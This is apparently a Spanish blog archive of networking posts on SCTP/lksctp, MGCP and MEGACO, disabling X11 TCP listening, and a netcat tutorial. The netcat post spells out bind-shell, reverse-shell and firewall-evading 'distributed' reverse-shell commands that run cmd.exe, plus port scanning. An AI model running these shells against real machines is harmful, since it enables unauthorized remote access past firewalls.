Archive for the ‘tcp’ Category

Probando SCTP en linux debian= proyecto lksctp

May 17, 2008

Como sabran sctp es la implementacion del protocolo de la capa de transporte usado en sigtran (asi se implementa en forma practica, aunque pudieramos hacer un despliegue sigtran sobre udp), sctp posee algunas ventajassobre su primo tcp:

  • Reliability mechanisms—TCP provides both reliable data transfer, through acknowledgments mechanism, and strict order of transmission delivery of data, through sequencing mechanism. Some applications need reliable transfer without sequence maintenance, while others would be satisfied with partial ordering of the data. In both of these cases the head-of-line blocking caused by TCP adds unnecessary delay.

  • Real-time issues—The abovementioned acknowledgement mechanism (which added the unnecessary delay) makes the TCP inappropriate for real-time applications.

  • TCP sockets—The limited scope of TCP sockets complicates the task of providing highly available data transfer capability using multi-homed hosts.

  • Security issues—TCP is relatively vulnerable to denial-of-service attacks.

Se supone que por diseñosctp no adolece de estas debilidades.

Es posible en linux probar este protocolo: (proyecto lksctp)

http://lksctp.sourceforge.net/index.html

http://datatag.web.cern.ch/datatag/WP3/sctp/tests.htm

Linux Kernel SCTP (LKSCTP)

The LKSCTP implementation of SCTP runs in kernel space. For our tests, we used Linux kernel 2.5.65 and lksctp-2_5_65-0_6_8.

Detailed information on LKSCTP can be found on the Web site of the LKSCTP project. According to Randall Stewart (co-author of SCTP), the version of LKSCTP that we tested is not completely compliant with RFC 2960 and the current Implementer’s Guide, and is not optimized for performance. The latter was confirmed by Jon Grimm, from the LKSCTP project.

Loading the SCTP modules is done with: /sbin/modprobe -a sctp

Otras implementaciones de SCTP disponibles:

Linux Linux
(http:// (http://sourceforge sourceforge.net/projects/ .net/projects/lksctp lksctp/) /)

FreeBSD/ FreeBSD/NetBSD NetBSD/ /OpenBSD OpenBSD
(http://www. (http://www.sctp sctp.org) .org)

Solaris Solaris
(http://playground.sun.com/ (http://playground.sun.com/sctp sctp/) /)

MGCP y MEGACO

March 12, 2008

Definiciones:

MGCP: Media Gateway Control Protocol (MGCP) is a protocol used within a distributed Voice over IP system.

MGCP is defined in RFC 3435, which obsoletes an earlier definition in RFC 2705. It superseded the Simple Gateway Control Protocol (SGCP).

Another protocol for the same purpose is Megaco, a co-production of IETF (RFC 3525) and ITU (Recommendation H.248-1). Both protocols follow the guidelines of the API Media Gateway Control Protocol Architecture and Requirements at RFC 2805.

Es un protocolo de séñalización en la telefonía por IP diseñado por la IEFT. MGCP fue el protocolo original, que evolucionó en MEGACO. Ambos protocolos están diseñados para la implementación en teléfonos IP que son más baratos que los teléfonos H.323 o SIP.

Está compuesto por:

  • un MGC, Media Gateway Controller
  • uno o más MG, Media Gateway
  • uno o más SG, Signaling Gateway.

Un gateway tradicional, cumple con la función de ofrecer conectividad y traducción entre dos redes diferentes e incompatibles como lo son las de Conmutación de Paquetes y las de Conmutación de Circuitos. En esta función, el gateway realiza la conversión del flujo de datos, y además realiza también la conversión de la señalización, bidireccionalmente.

MGCP separa conceptualmente estas funciones en los tres elementos previamente señalados. Así, la conversión del contenido multimedia es realizada por el MG, el control de la señalización del lado IP es realizada por el MGC, y el control de la señalización del lado de la red de Conmutación de Circuitos es realizada por el SG.

MGCP introduce esta división en los roles con la intención de aliviar a la entidad encargada de transformar el audio para ambos lados, de las tareas de señalización, concentrando en el MGC el procesamiento de la señalización.

El control de calidad de servicio QoS se integra en el gateway GW o en el controlador de llamadas MGC. Este protocolo tiene su origen en el SGCP (de Cisco y Bellcore) e IPDC. Bellcore y Level3 plantearon el MGCP a varios organismos.

MGCP packets are unlike what you find in many other protocols. Usually wrapped in UDP port 2427, the MGCP datagrams are formatted with whitespace, much like you would expect to find in TCP protocols. An MGCP packet is either a command or a response.

Commands begin with a four-letter verb. Responses begin with a three number response code.

There are eight (8) command verbs:

AUEP, AUCX, CRCX, DLCX, MDCX, NTFY, RQNT, RSIP

AUEP - Audit Endpoint
AUCX - Audit Connection

CRCX - Create Connection
DLCX - Delete Connection
MDCX - Modify Connection

RQNT – Request for Notification

NTFY - Notify

RSIP - Restart In Progress



Detener la escucha TCP del X11 servidor

February 25, 2008
Opcion de arranque:
startx -- -nolisten tcp

Puertos implicados:
6000-6063 tcp/udp x11 X Window System


Mas permanente:

/usr/pkg/xorg/bin/startx :

serverargs="-nolisten tcp"
exec X -nolisten tcp

Restart X y ya esta listo.

Mas informacion sobre startx:

http://www.xfree86.org/current/startx.1.html

http://www.xfree86.org/current/Xserver.1.html




Como obtener shell remota con netcat

October 3, 2007

El netcat, es un programa que funciona en cualquier plataforma (hay versiones para todos los sistemas operativos), sin entorno gráfico, y sirve para realizar conecciones de casi cualquier tipo en tcp y udp.

Existe una version en win32 que corre en una ventana tipo MSDOS, para ayuda con el mismo teclea: > nc -h

· client
Podemos usar el nc para conectarnos a una maquina por cualquier puerto siempre que éste este abierto.
La sintaxis básica es:
nc {opciones} [ip/hostname] [puerto]
Las opciones, como su nombre lo indica, son opcionales, por lo que si yo tipeara en mi linea de comandos:
nc 201.234.131.38 23
Se conectaría a 201.234.131.38 (fiar argentina) por el puerto 23 (telnet).
Es muy recomendable usar siempre la opción -vv para que el nc nos de información sobre el estado de la conección. Las opciones siempre van antes de la direccion ip o el hostname y el puerto (en ese orden), por lo que la nueva sintaxis nos kedaría:
nc -vv {opciones} [ip/hostname] [puerto]
Las opciones que se pueden combinar con este uso son:
-d (detach from console) modo oculto, en segundo plano, la conección sigue aunke c cierre el ms-dos
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres q el nc use dns para averiguar el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo hexadecimal
-p (local port number) elegís el puerto local para la conección
-r (randomize local and remote ports) elige al azar los puertos no especificados.
-s (local source address) dirección local
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada
-u (udp mode) realiza conecciones en puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.

· server
Podemos usar el nc para poner un puerto a la escucha y recibir conecciones entrantes.
La sintaxis básica es:
nc -l -p {opciones} [puerto]
Donde [puerto] es el número de puerto que se kiere poner a la escucha.
La opción -l puede usarse en mayúscula -L si se desea que luego de finalizada la conección, el nc siga escuchando en el mismo puerto con las mismas opciones. De otra forma, al finalizar la coneccion, el nc se cerraría
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del ms-dos
-e (inbound program to exec) ejecuta un programa al conectarse un cliente.
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada.
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo hexadecimal.
-r (randomize local and remote ports) elige al azar los puertos no especificados.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.

· port scan
Podemos usar el nc para comprobar que puertos tiene abiertos una máquina.
La sintaxis básica sería:
nc -z {opciones} [ip/hostname] [puerto/s]
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del ms-dos
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada.
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres q el nc resuelva el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo en hexadecimal.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.
Los puertos pueden especificarse individualmente, x rangos (inclusivos) o ambos en cualquier orden.

Shell remota:

· shell directa
Mediante este comando en un windows posterior a winme
nc -l -p 2236 -e cmd.exe -d
A cualquiera que se conectase por el puerto 2236 mediante nc o telnet, le aparecería una shell equivalente al cmd.exe de la maquina en la que se ejecutó el comando. Lo mismo ocurriría en un windows anterior a winme reemplazando cmd.exe por command.com en el comando anterior.

· shell inversa
Esta técnica es una variación de la primera, con la diferencia que en esta la máquina que proporciona la shell se conecta a la otra pudiendo de ésta forma saltar algunos routers y firewalls. Ideal para maquinas dentro de una red.
Se ejecuta el siguiente comando en una maquina para ponerla a la escucha de conexiones por el puerto 2236:
nc -vv -L -p 2236
Luego, se ejecuta el siguiente comando en la maquina que va a proporcionar la shell para que se conecte a la primera:
nc -d -e [cmd.exe/command.com] [ip/hostname primera maq] 2236

· shell inversa distribuida
Está técnica es la más silenciosa y efectiva de todas, en ésta se realizan dos conexiones inversas (una para enviar información y otra para recibirla) usando los puertos 25 y 80 que el firewall del win xp sp2 no filtra por tenerlos habilitados por default para el envío (25 smpt) y recibo (80 http) de información.
Para esto abrimos dos ventanas en la maquina que recibirá la shell en las que ponemos:
nc -vv -l -p 80
y
nc -vv -l -p 25
Respectivamente, de manera que escuche conexiones por los puertos 80 y 25. Luego, en la máquina q proporcionará la shell ponemos:
nc [ip/hostname maq escucha] 80 | cmd.exe | nc [ip/hostname maq escucha] 25
Una vez realizada la conexión, se envían los comandos desde la ventana que escucha por el puerto 80 y se reciben los resultados en la ventana que escucha por el puerto 25.

· chat peer to peer
Se puede crear un simple chat mediante nc entre dos personas escribiendo una de ellas (server) éste comando:
nc -l -p 1337
y la otra (client) éste otro:
nc [ip/hostname de la maq dnd c ejecuto el comando anterior] 1337
La primera persona abriría el puerto 1337 para recibir conecciónes y la segunda se conectaría a su maquina por el puerto que la primera persona abrió por lo que realizarían una conección directa puerto a puerto.
Luego, lo que una de las personas escribiese en su nc aparecería en el nc del otro y viceversa.


Follow

Get every new post delivered to your Inbox.